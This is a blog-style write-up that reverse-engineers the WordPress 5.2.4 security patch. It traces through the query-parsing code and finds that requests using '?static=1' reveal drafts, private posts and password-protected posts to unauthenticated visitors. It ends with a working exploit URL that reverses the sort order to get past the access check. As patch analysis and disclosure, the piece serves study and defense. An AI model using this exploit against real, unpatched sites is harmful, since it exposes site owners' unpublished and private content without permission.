A couple of days [Wordpress released 5.2.4](https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/) with a few security patches. **\*Props to J.D. Grimes who found and disclosed a method of viewing unauthenticated posts.*** caught my attention, but I couldn't find a public Proof of Concept, so I set out to reverse engineer the published patch.
# Information Gathering
My first step was to find as much information as possible about the bug as I couldn't find a PoC. I compared the statements from different security companies. Most recited the same phrase of "possibility to view unauthenticated posts":
- <https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html>
- <https://blog.wpsec.com/wordpress-5-2-4-security-release/>
- <https://www.reddit.com/r/netsec/comments/di9kf2/wordpress_524_security_release_breakdown/f3vbuyh/>
- ...
I discovered the relevant patch in the Wordpress SVN repo / [Github repo mirror](https://github.com/WordPress/WordPress) by selecting the branch `5.2-branch` and going through the list of [most recent commits](https://github.com/WordPress/WordPress/commits/5.2-branch), looking for a commit that mentions `unauthenticated posts` or `viewing posts`or something similar. [Commit f82ed753cf00329a5e41f2cb6dc521085136f308](https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308) looked interesting!
# Analysing the Patch
The commit changed only two lines of code and removed a `static` keyword as well as one part from an if-condition.
![](https://images.seebug.org/1572502690468-w331s)
My educated guess was that the removed `static` check played a major role in the bypass. In `wp-includes/class-wp-query.php` on line 731 the function `parse_query` begins. It sanitizes and parses all passed query (`$_GET`?) parameters.
From line 696 to 922 we see an about 125 lines long block of conditionals that set `$this->is_single` or `$this->is_attachment` or `$this->is_page` depending on the given parameters. As all of those cases are based on `elseif`; only one branch can be evaluated and we know which branch that should be:
```plain
// If year, month, day, hour, minute, and second are set, a single
// post is being queried.
} elseif ( '' != $qv['static'] || '' != $qv['pagename'] || ! empty( $qv['page_id'] ) ) {
$this->is_page = true;
$this->is_single = false;
} else {
// Look for archive queries. Dates, categories, authors, search, post type archives.
```
So we definitely don't want to set parameters like `attachment`, `name`, `p`, `hour`, etc. that would cause our branch to be skipped. We also cannot set the parameters `pagename` or `page_id`, because we don't know them and/or they would only return one result which would fail the access control checks.
Instead, we need to use `static=1` in our list of parameters. At this point it took me a few hours to understand and become familiar with Wordpress' code base and surrounding functions.
Eventually I came across the function `get_posts()` which queries the database using the (parsed) parameters.
```plain
public function get_posts() {
global $wpdb;
$this->parse_query();
[..]
```
With a bit of `var_dump` debugging at various locations, I finally stumbled across the following block:
```plain
// Check post status to determine if post should be displayed.
if ( ! empty( $this->posts ) && ( $this->is_single || $this->is_page ) ) {
$status = get_post_status( $this->posts[0] );
if ( 'attachment' === $this->posts[0]->post_type && 0 === (int) $this->posts[0]->post_parent ) {
$this->is_page = false;
$this->is_single = true;
$this->is_attachment = true;
}
$post_status_obj = get_post_status_object( $status );
//PoC: Let's see what we have
//var_dump($q_status);
//var_dump($post_status_obj);
// If the post_status was specifically requested, let it pass through.
if ( ! $post_status_obj->public && ! in_array( $status, $q_status ) ) {
//var_dump("PoC: Incorrect status! :-/");
if ( ! is_user_logged_in() ) {
// User must be logged in to view unpublished posts.
$this->posts = array();
//var_dump("PoC: No posts :-(");
} else {
if ( $post_status_obj->protected ) {
// User must have edit permissions on the draft to preview.
if ( ! current_user_can( $edit_cap, $this->posts[0]->ID ) ) {
$this->posts = array();
} else {
$this->is_preview = true;
if ( 'future' != $status ) {
$this->posts[0]->post_date = current_time( 'mysql' );
}
}
} elseif ( $post_status_obj->private ) {
if ( ! current_user_can( $read_cap, $this->posts[0]->ID ) ) {
$this->posts = array();
}
} else {
$this->posts = array();
}
}
}
```
As we do not specify any specific query parameters, except for `static=1`, the SQL query before the `$this->posts = $wpdb->get_results($this->request);` will be `var_dump($this->request);`:
```plain
string(112) "SELECT wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'page' ORDER BY wp_posts.post_date DESC "
```
This should return all pages from the database (including `password protected`, `pending` and `drafts`). Therefore, `! empty( $this->posts ) && ( $this->is_single || $this->is_page )` is evaluated to `true`.
The function then proceeds to check the status of the **\*first (!)*** returned post (`$status = get_post_status( $this->posts[0] );`):
```plain
if ( ! $post_status_obj->public && ! in_array( $status, $q_status ) ) {
```
If the first post's status is not `public`, then further access control checks are conducted. I.e. when the user is unauthenticated, the `$this->posts` array is emptied.
# Exploiting the Bug
So the obvious trick is to manipulate the query in such a way that the first post has status `published`, but more than 1 post is returned in the array.
For that, creating a few pages is necessary:
- One that is published
- One that is a draft
I'll use pages here, becaue `post_type='page'` is set by default, but setting `&post_type=post` changes it to `post_type = 'post'` if necessary.
![](https://images.seebug.org/1572502703959-w331s)
So far we know that adding `?static=1` to a wordpress URL should leak its secret content. Adding a `var_dump($this->posts);` before the access control checks, we can see the following pages being returned for `http://wordpress.local/?static=1`:
```plain
array(2) {
[0]=>
object(WP_Post)#763 (24) {
["ID"]=>
int(43)
["post_author"]=>
string(1) "1"
["post_date"]=>
string(19) "2019-10-20 03:55:29"
["post_date_gmt"]=>
string(19) "0000-00-00 00:00:00"
["post_content"]=>
string(79) "<!-- wp:paragraph -->
<p>A draft with secret content</p>
<!-- /wp:paragraph -->"
["post_title"]=>
string(7) "A draft"
["post_excerpt"]=>
string(0) ""
["post_status"]=>
string(5) "draft"
["comment_status"]=>
string(6) "closed"
["ping_status"]=>
string(6) "closed"
["post_password"]=>
string(0) ""
["post_name"]=>
string(0) ""
["to_ping"]=>
string(0) ""
["pinged"]=>
string(0) ""
["post_modified"]=>
string(19) "2019-10-20 03:55:29"
["post_modified_gmt"]=>
string(19) "2019-10-20 03:55:29"
["post_content_filtered"]=>
string(0) ""
["post_parent"]=>
int(0)
["guid"]=>
string(34) "http://wordpress.local/?page_id=43"
["menu_order"]=>
int(0)
["post_type"]=>
string(4) "page"
["post_mime_type"]=>
string(0) ""
["comment_count"]=>
string(1) "0"
["filter"]=>
string(3) "raw"
}
[1]=>
object(WP_Post)#764 (24) {
["ID"]=>
int(41)
["post_author"]=>
string(1) "1"
["post_date"]=>
string(19) "2019-10-20 03:54:50"
["post_date_gmt"]=>
string(19) "2019-10-20 03:54:50"
["post_content"]=>
string(66) "<!-- wp:paragraph -->
<p>Public content</p>
<!-- /wp:paragraph -->"
["post_title"]=>
string(13) "A public page"
["post_excerpt"]=>
string(0) ""
["post_status"]=>
string(7) "publish"
["comment_status"]=>
string(6) "closed"
["ping_status"]=>
string(6) "closed"
["post_password"]=>
string(0) ""
["post_name"]=>
string(13) "a-public-page"
["to_ping"]=>
string(0) ""
["pinged"]=>
string(0) ""
["post_modified"]=>
string(19) "2019-10-20 03:55:10"
["post_modified_gmt"]=>
string(19) "2019-10-20 03:55:10"
["post_content_filtered"]=>
string(0) ""
["post_parent"]=>
int(0)
["guid"]=>
string(34) "http://wordpress.local/?page_id=41"
["menu_order"]=>
int(0)
["post_type"]=>
string(4) "page"
["post_mime_type"]=>
string(0) ""
["comment_count"]=>
string(1) "0"
["filter"]=>
string(3) "raw"
}
}
```
As you can see, the first page in the array is the draft (`["post_status"]=>string(5) "draft"`), therefore nothing can be seen:
![](https://images.seebug.org/1572502724827-w331s)
However, there are a few ways to manipulate the returned entries:
- `order` with `asc` or `desc`
- `orderby`
- `m` with `m=YYYY`, `m=YYYYMM` or `m=YYYYMMDD` date format
- ...
In this case, simply reversing the order of the returned elements suffices and `http://wordpress.local/?static=1&order=asc`will show the secret content:
![](https://images.seebug.org/1572502739244-w331s)
**\*UPDATE***
This issue also discloses `password protected` and `private` posts:
![](https://images.seebug.org/1572502759068-w331s)
暂无评论